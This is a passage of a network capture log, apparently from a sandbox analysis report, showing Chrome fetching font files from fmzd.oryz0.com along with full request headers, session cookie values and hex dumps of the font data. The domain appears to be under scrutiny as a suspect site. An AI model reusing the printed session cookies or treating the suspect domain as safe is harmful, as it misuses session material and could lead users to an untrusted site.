2024-05-23 08:31:34 UTC	1369	IN	Data Raw: 1c 79 97 ab 31 c7 11 da 60 1f 5c 11 1e e6 af 33 1a c2 62 c2 63 42 82 74 a1 fe a1 29 51 1a e8 94 ce 90 11 c1 e8 fd 55 ea 80 00 bd bf 37 63 34 e0 8c 2c 4b 66 9c d1 a8 95 de 18 b4 e7 f1 5f 17 9e 58 61 2b 29 ef 5e 51 bc fe dc 90 fd 36 83 e6 2f 1c 5a 74 1b c7 77 0f ae e9 11 3e e5 77 66 b6 ed ae 69 bf 2f 33 fd cc 8a 96 23 83 05 6c 79 fd bc 92 4e e1 a4 fd d1 ae ae a6 7e 61 39 a5 77 d3 e8 6d 7e 35 7f 04 19 50 ba 2d 25 32 c2 db 0b 46 11 97 21 86 c1 cd 80 5e 40 39 c1 b9 99 03 fa 04 a2 0a 8c c2 42 fc 7c 3d dc 90 01 1b 78 b5 7f 12 1f 1d 17 c7 58 32 fd b2 62 cc 19 5c a0 3a 2e ce 18 ed 0d 38 47 30 e6 8c 2c 6b a0 8a 63 b9 87 47 ce 75 b5 9f c5 e8 e8 9f 71 7a dd 97 c9 2f 3f da fe f8 e2 bc fc c1 63 6d f7 5f ce f9 a2 56 b8 ee df f1 32 f6 7e fe 04 f6 7d ad e7 c6 8f 17 6c dc Data Ascii: y1`\3bcBt)QU7c4,Kf_Xa+)^Q6/Ztw>wfi/3#lyN~a9wm~5P-%2F!^@9B\|=xX2b\:.8G0,kcGuqz/?cm_V2~}l
2024-05-23 08:31:34 UTC	1369	IN	Data Raw: 03 28 ac 50 96 bb ef f8 1e 3c 28 7c 24 bc f6 92 80 47 fa cf 6c 9c 21 68 97 ad 5d b7 f4 2f ec 5f 77 ff 34 c9 7e 80 a9 b7 bf c0 ef cc ed 7b 44 f8 b2 bd ae ae 4d 78 98 cc b3 e4 d1 db 5c 3a d0 38 89 e8 df b0 50 15 cf 61 16 24 07 cb 32 cd 40 e4 00 51 7c 28 fa 37 2a 22 38 d0 d3 1d 25 e1 24 5e 11 20 11 ac 99 62 10 13 67 c9 2c 04 e9 1a 20 0a 5b 15 a1 23 19 7d 66 da c0 4b 7b 9a 7c 47 dc 32 2b ba b2 57 ae 78 7f 14 bd 3f 75 e5 33 ed 4f 7e 91 fd 45 74 5f 75 75 ef fb c2 fb b3 b6 bc e4 9f 37 70 64 81 6d 5a 47 51 64 73 49 7f cf c0 b9 4b 73 0f f4 e4 1c 7f b8 70 76 55 fd f4 fe ee be 33 17 9a 1e 1e 28 00 7c fd 81 76 bb a9 1d 15 6a 0b 22 04 a2 3a d8 9b e8 04 51 be d2 09 88 41 be 13 6d 85 df 15 66 70 2b 84 19 02 f7 e4 67 9f dd 6d 83 fa 0f 41 7f df 85 fa c1 28 c6 66 00 ca 63 Data Ascii: (P<(\|$Gl!h]/_w4~{DMx\:8Pa$2@Q\|(7*"8%$^ bg, [#}fK{\|G2+Wx?u3O~Et_uu7pdmZGQdsIKspvU3(\|vj":QAmfp+gmA(fc
2024-05-23 08:31:34 UTC	1369	IN	Data Raw: db c2 c7 5d 85 d2 70 9a c3 c8 aa a2 8d 93 28 3e 95 5a 45 fe 3b 50 6b d7 92 2d d1 31 ee 01 1e f7 fd 6c 1b 51 87 4b ea eb 87 6c 21 42 79 43 c0 d4 a8 cc 34 85 6a 30 de 96 9e 0c 5c fd 20 68 c8 d6 71 1a f2 85 27 6e 36 04 64 45 65 36 a5 c8 54 24 fc da 02 f3 0d a4 20 f2 45 91 28 cb 66 06 9e 52 63 06 ac 77 62 1a 49 f2 56 e3 10 c0 f0 d3 12 cb 30 24 48 1b e9 17 a9 05 db d3 8d 58 e0 8e 3e b8 d6 68 31 63 c5 0f 27 83 fe d3 f1 be f8 92 25 63 de 38 ee 13 1e 72 f4 c8 99 c5 97 ec 3f 12 bd 72 61 f7 25 61 c3 ff 0f f0 03 ed c7 df 47 7d c1 40 82 9f 1b f0 21 08 78 ce 1d bc 51 90 65 2a de 5d 25 79 a5 6a 4c f5 55 60 80 de 5f e7 27 69 2b ad af a7 3a 1c 3c 18 bd c1 62 d6 9b f5 46 d1 45 25 28 ea 40 6b 5e 22 ae ea e0 20 71 56 e1 2f d3 6f 7f 90 df f9 e9 a7 9f 1e bd 7b 87 f8 ac 9c ea Data Ascii: ]p(>ZE;Pk-1lQKl!ByC4j0\ hq'n6dEe6T$ E(fRcwbIV0$HX>h1c'%c8r?ra%aG}@!xQe*]%yjLU`_'i+:<bFE%(@k^" qV/o{

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.4	49778	104.21.52.56	443	4548	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 08:31:33 UTC	1400	OUT	GET /90vEsJ85xMt99R67cpJjuv59 HTTP/1.1 Host: fmzd.oryz0.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://fmzd.oryz0.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: font Referer: https://fmzd.oryz0.com/9921882535976616575172665JGHCTZWMGWUIDZD?VFTGJUDGCPOGHXCCHYOOJK6107405097496668290428471YSPWWGTZJEAPZZXMJKZGITAHV Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6InBYdkh4YXNzUVZKYkdvckZ3Vko3dUE9PSIsInZhbHVlIjoiZlByOHQ3Y3V3b2VjVUE5ZkorWXFRa2RSTEtOZWFJVnlyMFRaSEgxRmxUVTlxZFYrS21FNWEzZ0dzQWNvWFF6RmdFUWJvRTFlVXRld1B1UXBIbkNlWEJZMnlROUdDcFhJcW1SL0JkdC8wRGxVVVR4YUJDQnQrZ0lIMHFiL2E2NEciLCJtYWMiOiJhNWViNWE0ZGY3MzFlY2IzY2RkZTQ2Nzk3OTdmYWM1NmY3YzA1NGZjN2Q1ZTZmZjVlNjQ1NzcxZTVlOWU1YzJhIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6ImRFTGJKejZlRUdSUmtQeThyY3h4a1E9PSIsInZhbHVlIjoicEt1bGxBQ0hHVGdySGFoRXhlbS9Dekh2bTFoVEVMdkJrKzh3S0ZpK2p4Wlh1TjNvS1E2eVRTUjdUOTBZMjZHdUc4dW5IVnM5cmJjTUJNRTE4NUlHZDNjK1pxbGZSaFlocExIU0hYei9LV08zc1lWN2ZzNGJJMHptNnpwKzFrb2giLCJtYWMiOiJjNWMxNTIzMmIyYWY3MTk5N2ZlMDYxZWQxYTRkY2UyNTMxZWU1NzM4ODJmNWQxYmM3NWIwMDc1YzE3M2ZlNmI2IiwidGFnIjoiIn0%3D
2024-05-23 08:31:34 UTC	613	IN	HTTP/1.1 200 OK Date: Thu, 23 May 2024 08:31:34 GMT Content-Type: font/woff2 Content-Length: 28584 Connection: close Content-Disposition: inline; filename="90vEsJ85xMt99R67cpJjuv59" CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=0bbCY8CiCQCsGZpihP2MzFAhDhMsUhoEFO06HzWNud6EPQILJG1LiYhX1YP605A7dcVoO9ghQX6Eq2LWx3umxk5mIhWGXJAqqHNH3GeQtkYwsAm4qCA22aFwzXWcJQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 Server: cloudflare CF-RAY: 8883b0ba082f42b8-EWR
2024-05-23 08:31:34 UTC	756	IN	Data Raw: 77 4f 46 32 00 01 00 00 00 00 6f a8 00 10 00 00 00 01 36 78 00 00 6f 47 00 01 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 1b 81 bc 3e 1c 89 16 06 60 00 8e 3c 08 3c 09 97 62 11 08 0a 82 c0 68 82 a2 42 01 36 02 24 03 8e 78 0b 87 3e 00 04 20 05 8c 27 07 97 7b 0c 81 0d 5b 78 22 71 04 dd b6 5d c4 a2 0a ca 1b ec 97 68 4a b7 df b3 0a d8 b1 27 dc 0e e2 ce 96 b5 c5 0a 36 ae 32 bb 5b 95 0a ec 05 71 f6 ff ff 7f 7a d2 88 b1 6d 43 77 77 ff 00 08 2a a9 65 55 b0 0a 53 9a a2 10 14 ad 17 8a 9a 11 30 8d c1 53 1a 73 a6 e1 b6 2c ad b0 c2 e4 5c e5 65 96 de 46 b1 26 ef 94 d7 16 8d 6f 55 2a 52 1a 7d 51 f7 43 8e e7 32 b9 54 44 c8 b6 e1 0a d3 35 11 09 23 e7 fa 68 14 48 a4 32 ac 7c 3c e8 31 a3 7a a7 a2 5d cf 78 5a f4 95 0f 7a 9d f0 7a b2 e4 97 57 f8 13 be d9 Data Ascii: wOF2o6xoGB>`<<bhB6$x> '{[x"q]hJ'62[qzmCwweUS0Ss,\eF&oUR}QC2TD5#hH2\|<1z]xZzzW
2024-05-23 08:31:34 UTC	1369	IN	Data Raw: e5 97 60 00 e0 77 26 a7 ec 8c 51 bd 04 a5 aa 2d c9 13 20 11 06 0d 39 e4 58 74 9e 2f 53 51 3f 14 73 2b 75 0c 39 ee 1f 5c b1 68 d4 6c b0 47 cb 23 fc 2a a7 d5 23 40 83 46 d2 88 c9 66 c5 31 84 66 01 9d 3d 60 1f f0 e3 f1 70 ca 0b 01 a0 c2 94 3d 63 f0 be d9 92 66 3d 9c eb 70 20 34 42 79 0e 75 ff 7a 27 cb 0f ee 24 3b 04 73 b6 a4 dd 16 db 7a d0 f6 e3 e3 12 58 be c5 6e 36 79 2d e0 06 b4 05 18 a1 7f b4 fd cf 8a 12 3c cd 09 17 b1 bb 1d be 58 9e 81 7f 85 04 cd 7e 2b 6a 8a 7a bb 6a b2 f8 ff ee f7 db c0 37 f0 50 44 93 b8 4f 10 d5 77 d1 fa 39 9d 90 38 5d 13 21 7e 43 26 98 18 b4 cd d0 fb 13 2a 4c 43 45 d3 dc 4e 66 7e af 4e 9f 65 4a fa 69 58 6e 58 2a 43 81 26 e6 f5 bf 8b 74 b6 55 83 fc 4e 72 d2 40 91 b6 6c 5a b0 80 a7 03 20 d9 8f 58 b9 a2 c8 93 7a cd 73 01 6e b9 ff 48 85 Data Ascii: `w&Q- 9Xt/SQ?s+u9\hlG##@Ff1f=`p=cf=p 4Byuz'$;szXn6y-<X~+jzj7PDOw98]!~C&LCENf~NeJiXnX*C&tUNr@lZ XzsnH
2024-05-23 08:31:34 UTC	1369	IN	Data Raw: 30 d0 66 50 36 51 17 59 8c ca 45 0b 23 fa 81 55 bc 59 5f 55 fe a0 40 a1 20 35 57 9b d4 3c b9 b3 29 ed a7 16 d3 13 45 0b c5 4c 25 f1 30 23 97 d9 4e bd 28 ab 1d d0 c2 14 6f c9 61 f9 56 40 1e 2b aa 69 29 e1 5a 15 f9 c1 0e 10 e8 40 d0 3a 0c 29 8c a9 39 12 e8 b0 01 e8 f6 ee 52 ab d2 f0 06 94 a4 e3 89 30 00 08 57 44 ed a2 83 bc a0 e0 07 54 5b 4d 54 db a3 29 51 e2 43 bf 56 c9 5a 96 e8 1f 92 c0 20 b0 78 90 51 a2 3c 19 06 e5 c4 18 b4 51 95 16 6c ec cd a6 0b e6 b6 d1 db 00 56 0c 1e a0 cb a0 80 03 02 ba eb e2 92 60 fa 62 ea 87 59 4d 58 29 3a 30 36 0c 02 ce fb 12 0a 67 57 cf 6d 7c f0 81 96 93 88 02 ba ef 92 55 dd 8c f9 fa 69 f2 71 0c 59 37 73 08 39 5d ce e5 85 bb 59 16 bd 18 b4 30 75 01 f3 09 a6 26 0f af 55 73 55 f9 8b 2d cb f9 49 0a 03 cd 24 bd 7e 42 53 3e 5d 0d aa Data Ascii: 0fP6QYE#UY_U@ 5W<)EL%0#N(oaV@+i)Z@:)9R0WDT[MT)QCVZ xQ<QlV`bYMX):06gWm\|UiqY7s9]Y0u&UsU-I$~BS>]
2024-05-23 08:31:34 UTC	1369	IN	Data Raw: db a1 66 75 c9 75 d3 64 f1 8c aa ea bf de f8 8f 20 f3 86 3a ba e8 43 54 6a 8a 28 69 af 3c e6 ea b6 b2 5d 1b f8 18 09 92 64 e8 bd 0a 1d e0 d3 ba bc 10 cc cb 06 57 5c 77 bd a9 1a 44 81 23 b1 00 73 e8 10 9d bc f0 cc 39 be 92 1c 86 29 96 14 29 84 bf f5 e6 98 7e 7c d5 7f bf fc c3 77 d3 3c 9d cf ff 57 80 cf 97 9a d9 60 5e bd 00 ef d9 ff 57 bb 7c 10 17 61 91 5f e2 e0 bf 67 17 38 6d 72 f7 c0 87 b9 c7 2b b1 0e 4b b1 bd 52 1c c4 78 e7 87 af ff f6 09 93 1e 60 d4 16 c7 bd 7b 90 2e ac c4 27 6b 93 0d 57 9e 7c 28 0f 5c f9 c6 1c d3 b8 97 5b 0f 28 3e 06 4b ae 4a 42 c2 63 6d 65 b3 87 f4 02 73 e9 ec 31 94 dd 4d 35 43 9e 82 ef 1a 19 ca 1a de 11 5a 06 1e 1c 66 50 e3 92 33 b2 78 9f 06 fa de d0 77 b9 e5 f7 d4 e5 a7 d9 89 be 67 54 d4 43 9f 16 46 78 01 9d 5a 25 56 9b 9b 12 66 d1 Data Ascii: fuud :CTj(i<]dW\wD#s9))~\|w<W`^W\|a_g8mr+KRx`{.'kW\|(\[(>KJBcmes1M5CZfP3xwgTCFxZ%Vf
2024-05-23 08:31:34 UTC	1369	IN	Data Raw: 7c e1 4f 0a f5 78 68 ed f3 95 63 92 85 c2 64 da 80 92 57 22 90 60 5c e2 76 78 80 a3 e7 17 e6 65 84 d8 68 fc 45 39 36 9d b6 bd 10 a7 d5 3c 40 98 a4 95 3d 2f 5c b2 3e 4f 05 c0 c6 03 43 4f 91 c1 b6 2a 1c ab 73 0f 48 30 21 8e 1a d3 24 e5 69 1b 45 37 55 e3 c4 1b 70 81 70 c6 8e c3 c7 15 fd d0 6a 42 d4 1a 9b 2c 71 78 1c 68 90 8e 66 52 12 59 39 ec 05 60 4b 10 46 0a d3 3b 4f 93 e9 9c 42 34 fe 5a 4c 23 c9 da 61 da ca b0 2e 42 bf ba 4e 43 ee 7b a5 b6 cd 10 a9 9e d6 76 c2 da 8c 75 0b 16 88 a2 6a f6 21 ff 46 59 15 b1 d8 a4 ae 93 c7 8f 9e 79 f0 b8 5e 0d 87 be b3 43 8a 3b 87 21 5b ce a4 5d 92 b7 f9 a1 38 f5 96 d0 8b c3 0e d8 3d be 24 30 f0 11 92 c4 5c c9 d4 f5 38 62 51 c4 09 ab 9c ee 74 c2 1d 9d 3f 80 6f 2b ee d5 47 d6 5b 60 91 6e 70 0d bf 4e 8d bc 0a 1b c8 14 3f ef 1a Data Ascii: \|OxhcdW"`\vxehE96<@=/\>OCO*sH0!$iE7UppjB,qxhfRY9`KF;OB4ZL#a.BNC{vuj!FYy^C;![]8=$0\8bQt?o+G[`npN?
2024-05-23 08:31:34 UTC	1369	IN	Data Raw: 30 2e a5 1f cd 43 40 1e 70 cc f3 0a 36 82 72 f9 89 38 79 b0 a5 24 70 54 fe 74 60 c5 01 22 5e b9 e6 19 a1 43 02 57 17 2b 13 89 c3 3d af 86 3d 5b 59 ec d0 9d 86 23 f9 67 f1 fb 3a 58 07 48 c6 63 87 75 a2 a8 0c 94 5b bc 1e 8e 82 53 19 0c 24 da 49 3c 17 4c 27 29 d9 9d 80 57 5a ab 4f 76 b1 d5 d5 66 d6 cd 0b 43 de c4 07 9d fb 6a 3d 35 5d 05 18 4d fc cf f3 d5 52 8a 37 07 16 7b c0 bd 19 bc 8f 5b ba 06 00 c5 83 23 de f6 d2 01 41 b8 02 01 50 23 69 24 5c 1c ef 34 bf 27 04 01 13 5c 88 a0 4a 93 f8 12 79 bb a9 68 e7 2f 4d 81 05 1e 94 a0 46 8b ee 74 70 0e c0 c0 06 bf 4a a1 4d 9b de 6d 3c 06 38 10 40 08 15 1a b4 ec f1 81 bb 5f 18 f6 cc 77 10 ea 8d 43 df 85 0f fd 36 f8 e2 04 f8 bf 37 77 9c 81 9f e8 12 4f 3f 5c fa 4a 33 6a 34 14 cd b7 3d 06 0f be ed b1 78 f5 6d 48 f1 a5 03 Data Ascii: 0.C@p6r8y$pTt`"^CW+==[Y#g:XHcu[S$I<L')WZOvfCj=5]MR7{[#AP#i$\4'\Jyh/MFtpJMm<8@_wC67wO?\J3j4=xmH
2024-05-23 08:31:34 UTC	1369	IN	Data Raw: a2 c5 b8 43 ea 57 b3 bc 10 37 82 25 84 7d 6c eb e6 e6 16 e5 cc a2 be 5d 7f 9c 81 78 43 89 26 d3 24 7b 66 a6 e7 a6 78 6a 9a 55 d3 3d 36 c3 13 cb bc b7 a6 03 56 fb 2f cd 7d 12 13 c0 38 5c 55 a0 e1 24 e3 29 0d 8d ab 57 ae 5a f3 da 99 73 6a ff 83 13 79 f9 de ad a4 cd b6 da 6b 75 de 3c 4e 5d ab ad 29 8e bd e8 f4 90 28 0f 5f 6c f3 f3 71 f4 b1 c7 9f 78 f2 a9 a7 9f e1 41 ca f5 83 8e 3b ef 36 73 5a b5 d9 a6 5d 87 4e 5d ba f5 da 6e 87 9d 76 d9 6d 8f bd fa ed 33 f0 8a 1f 7c f0 73 cd 61 47 f8 86 14 f4 d9 05 4a 43 a1 a2 d7 e1 81 fb 1e 7a e2 b1 e7 3e fb e6 2b 1b 30 fb 13 00 f8 c0 06 e0 02 9b 00 1e f7 07 3f 94 ea cb 9c fd 8a 07 b7 5f 72 79 43 e1 99 99 f9 af 64 20 e2 d5 4f f8 1a 9f 0f 45 87 ab 6f b8 e5 b6 3b 6e 6a 3e 07 38 ea e2 92 3d 6f 53 e8 7a d5 90 a4 f5 bb 00 b6 e2 Data Ascii: CW7%}l]xC&${fxjU=6V/}8\U$)WZsjyku<N])(_lqxA;6sZ]N]nvm3\|saGJCz>+0?_ryCd OEo;nj>8=oSz
2024-05-23 08:31:34 UTC	1369	IN	Data Raw: 61 37 69 bc 69 4b 76 78 bf 58 39 1e 64 1d 8e 2d 52 6f f1 43 6b ea a6 58 f8 13 68 45 70 b2 db 5a 4d d1 66 ac 0c bc b8 74 db ad f6 4c df 84 10 7c 9b 9c ea 48 0d 9c 0e 4c d5 de a5 81 a8 4e 91 7e be 3d c8 de d1 df a1 59 98 3a 2d 47 0e ae f9 33 c0 16 17 db ed 6f c8 04 34 b3 31 0a 82 b1 49 41 13 32 21 98 26 40 6b 46 10 cc 4d d0 02 82 65 02 75 ad 08 82 b5 09 da 40 b0 4d 80 d2 8e 20 d8 9b a0 03 04 c7 04 5a 3a 11 04 67 13 74 81 e0 9a 40 43 37 82 e0 6e 82 1e 90 ef 09 85 af e3 7e 79 b3 a8 3c 1f af a3 ea b7 59 3a 65 d4 f0 e9 2e 26 f6 67 88 bf 3c 17 fe 4a 7d 86 6f b3 d4 df 1f 89 7f d8 c2 3f 29 f0 6b 96 fb f7 23 f1 1f 5b f8 2f 05 29 b5 c1 3b 3f f9 d3 9d 6f 74 4d 92 6e c1 9b 60 e7 5b 3f ce 93 de be b6 0e 52 ab 33 bf 5e c8 c7 d5 43 95 3d 57 f1 64 9a 6e d7 e8 c1 07 a3 76 Data Ascii: a7iiKvxX9d-RoCkXhEpZMftL\|HLN~=Y:-G3o41IA2!&@kFMeu@M Z:gt@C7n~y<Y:e.&g<J}o?)k#[/);?otMn`[?R3^C=Wdnv
2024-05-23 08:31:34 UTC	1369	IN	Data Raw: ad ef 8f d4 83 74 ce bb a7 2e 77 88 ac c3 8d 0f b2 51 bb 08 c0 b8 d9 ad 54 c6 3f f5 45 b6 35 f7 cb 1c cb 38 c1 a2 9a 9b bb 68 e1 2e a8 d4 0d b2 c4 ad c9 e2 ab a1 8d df 65 cf 1b 09 af e5 6d 50 2f b2 bc d5 91 41 8b 0c 3c 2c db 32 2a a4 e0 28 ad 42 06 2b ca c1 98 40 6d ea 72 b4 be d5 41 a6 7d 2b 6b 37 24 85 3a 61 fd 7c 04 75 c4 5f a6 e5 5d 66 a6 df a4 f5 e8 28 89 3d ab 0b 0c 6c b4 d2 a8 77 7e 3e 40 5f 74 8d 57 30 00 c5 e8 bd 8c fd d4 dc ad 43 5d 93 64 52 3e 47 47 5e f4 3b 0c 17 af f2 bd 11 03 7d e5 8b 1d 0d ae ad 1d c8 4c ce ae 60 97 20 5d 60 73 e9 4d 28 9e fa 17 4a 14 06 9a f3 51 58 d3 87 f7 f0 6a a7 e7 02 f1 7c a6 6b c0 5a 9c a6 71 a7 6d 77 5c a5 e4 ea 23 ea 5a 6c 9c d5 7a 09 7f 9a b1 87 11 03 90 28 34 e5 6a cc db 32 a1 cc 92 41 35 e7 6c 42 45 56 4d 39 77 Data Ascii: t.wQT?E58h.emP/A<,2*(B+@mrA}+k7$:a\|u_]f(=lw~>@_tW0C]dR>GG^;}L` ]`sM(JQXj\|kZqmw\#Zlz(4j2A5lBEVM9w
2024-05-23 08:31:34 UTC	1369	IN	Data Raw: 3b bc 73 32 24 3c dc a9 94 c8 fd c4 62 cb 69 1a e0 6f 82 ae 79 55 71 5b e8 20 f7 e1 10 fc 2e 89 29 19 ad 45 f6 10 16 12 7c 7b a9 ae e7 89 03 39 7c 32 4f 25 b8 b1 a6 79 4b 84 ec 81 38 13 20 4f dd db 92 0a 82 ab 02 5f f7 76 1d b5 70 ff 5a 4b 61 e9 9a f0 b4 c9 a7 65 19 99 eb d2 ff cc 5a 1d d5 ad 3d a9 dc d7 3f d7 04 87 47 ae d8 83 2a ec 4b 7a 32 cf 40 de 17 24 b5 27 3d fc 70 e1 7d f8 26 a9 fd b4 70 3c ba 84 97 64 67 4b 73 47 73 22 75 e1 a6 a3 95 79 c9 7d 3a f9 6e a4 ea 9e bf 47 78 1c db ef 7d 70 0e 4a d9 66 b0 6f fb 0a db de d6 5b 5f a7 6d 6d aa e6 3b 4c 81 04 ba 0d be 91 ce 1f e7 b8 cc ce 72 36 ce 9f f8 4b 3e f6 63 d0 39 da 99 e1 24 58 ef ad ce 1d 15 87 68 95 9d 29 d7 2d 75 09 b7 74 bd 2b 99 86 a9 ef 3b 52 06 06 93 98 67 80 17 a1 24 df 05 b6 03 ae 82 c3 07 Data Ascii: ;s2$<bioyUq[ .)E\|{9\|2O%yK8 O_vpZKaeZ=?G*Kz2@$'=p}&p<dgKsGs"uy}:nGx}pJfo[_mm;Lr6K>c9$Xh)-ut+;Rg$

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.4	49785	104.21.52.56	443	4548	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 08:31:33 UTC	1406	OUT	GET /23qqWZLmsD3HLvv6Ec6898LDDvxy66 HTTP/1.1 Host: fmzd.oryz0.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://fmzd.oryz0.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: font Referer: https://fmzd.oryz0.com/9921882535976616575172665JGHCTZWMGWUIDZD?VFTGJUDGCPOGHXCCHYOOJK6107405097496668290428471YSPWWGTZJEAPZZXMJKZGITAHV Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6InBYdkh4YXNzUVZKYkdvckZ3Vko3dUE9PSIsInZhbHVlIjoiZlByOHQ3Y3V3b2VjVUE5ZkorWXFRa2RSTEtOZWFJVnlyMFRaSEgxRmxUVTlxZFYrS21FNWEzZ0dzQWNvWFF6RmdFUWJvRTFlVXRld1B1UXBIbkNlWEJZMnlROUdDcFhJcW1SL0JkdC8wRGxVVVR4YUJDQnQrZ0lIMHFiL2E2NEciLCJtYWMiOiJhNWViNWE0ZGY3MzFlY2IzY2RkZTQ2Nzk3OTdmYWM1NmY3YzA1NGZjN2Q1ZTZmZjVlNjQ1NzcxZTVlOWU1YzJhIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6ImRFTGJKejZlRUdSUmtQeThyY3h4a1E9PSIsInZhbHVlIjoicEt1bGxBQ0hHVGdySGFoRXhlbS9Dekh2bTFoVEVMdkJrKzh3S0ZpK2p4Wlh1TjNvS1E2eVRTUjdUOTBZMjZHdUc4dW5IVnM5cmJjTUJNRTE4NUlHZDNjK1pxbGZSaFlocExIU0hYei9LV08zc1lWN2ZzNGJJMHptNnpwKzFrb2giLCJtYWMiOiJjNWMxNTIzMmIyYWY3MTk5N2ZlMDYxZWQxYTRkY2UyNTMxZWU1NzM4ODJmNWQxYmM3NWIwMDc1YzE3M2ZlNmI2IiwidGFnIjoiIn0%3D
2024-05-23 08:31:34 UTC	632	IN	HTTP/1.1 200 OK Date: Thu, 23 May 2024 08:31:34 GMT Content-Type: font/woff Content-Length: 36696 Connection: close Content-Disposition: inline; filename="23qqWZLmsD3HLvv6Ec6898LDDvxy66" CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=kcd%2Bkn918dpZpJQ%2FklsfyB7qKOD%2BMHbEajfQJeoEs8mIa%2BBhHh%2Fdy8JTGK2IC7%2FaCsZCsFKp61UPpffFDeMJLqBXr8RNHj5as2ieLWS1y2xpEDqTCVlWtvp%2FEFlFjw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 Server: cloudflare CF-RAY: 8883b0bb19e6c34d-EWR
2024-05-23 08:31:34 UTC	737	IN	Data Raw: 77 4f 46 46 00 01 00 00 00 00 8f 58 00 11 00 00 00 01 36 90 00 01 00 00 00 00 8e 30 00 00 01 28 00 00 02 97 00 00 00 00 00 00 00 00 44 53 49 47 00 00 8e 28 00 00 00 08 00 00 00 08 00 00 00 01 47 50 4f 53 00 00 01 80 00 00 18 99 00 00 5e 3e 80 e1 18 da 47 53 55 42 00 00 1a 1c 00 00 02 ad 00 00 04 96 8c 33 79 b9 4f 53 2f 32 00 00 1c cc 00 00 00 46 00 00 00 60 68 60 7b 5a 63 6d 61 70 00 00 1d 14 00 00 05 1a 00 00 07 3c 97 3f 2b 12 63 76 74 20 00 00 87 b0 00 00 00 30 00 00 00 3c 28 d6 01 ad 66 70 67 6d 00 00 87 e0 00 00 05 c1 00 00 0b e2 3f ae 1b 9f 67 61 73 70 00 00 87 a8 00 00 00 08 00 00 00 08 00 00 00 10 67 6c 79 66 00 00 22 30 00 00 54 6c 00 00 a0 68 11 94 2e 2b 68 65 61 64 00 00 76 9c 00 00 00 34 00 00 00 36 1a bb 7d da 68 68 65 61 00 00 76 d0 00 00 00 Data Ascii: wOFFX60(DSIG(GPOS^>GSUB3yOS/2F`h`{Zcmap<?+cvt 0<(fpgm?gaspglyf"0Tlh.+headv46}hheav
2024-05-23 08:31:34 UTC	1369	IN	Data Raw: a1 1e 94 47 bd e8 4c ba 90 ee a5 9f 20 67 2a 4d a7 b7 68 2e cd a3 c5 b4 94 96 51 21 7d 42 c5 b4 9a d6 51 09 6d a4 4d b4 85 b6 52 1d 35 2a bf 4a 55 69 2a a8 f2 55 5f 35 40 5d ae ae 50 57 aa 81 ea 2a 35 48 0d 56 57 ab 6b d4 b5 ea 3a 35 44 5d af 6e 50 23 d4 18 35 56 3d a9 c6 a9 a7 d4 78 f5 b4 9a a0 9e 57 2f a8 89 ea 45 35 49 bd 04 8a 4e 56 53 d4 54 d0 75 ba 9a a1 5e 55 33 d5 5f d4 1b ea 6d 35 47 2d 50 8b d5 12 55 a8 8a d4 47 6a 95 2a 56 ab d5 a7 6a 8d 5a ab d6 a9 f5 6a a3 da 42 4a bd ca 5f 50 77 ca e3 30 f5 e2 66 2a 00 8f 96 71 13 95 f0 71 35 96 f7 aa 27 b9 46 3d 4d 49 6a 02 37 a8 e7 91 5e e0 66 f5 22 87 d5 4b 5c a1 a6 70 48 4d 43 de 74 a4 57 b9 5a cd 42 7a 9d eb d5 6c 94 2b c6 b3 b5 d4 85 ce 01 65 7c a0 8d 0f b5 1e a5 42 3e 8e 9a 0f a9 31 a8 61 2c f5 44 ed Data Ascii: GL gMh.Q!}BQmMR5JUiU_5@]PW5HVWk:5D]nP#5V=xW/E5INVSTu^U3_m5G-PUGjVjZjBJ_Pw0fqq5'F=MIj7^f"K\pHMCtWZBzl+e\|B>1a,D
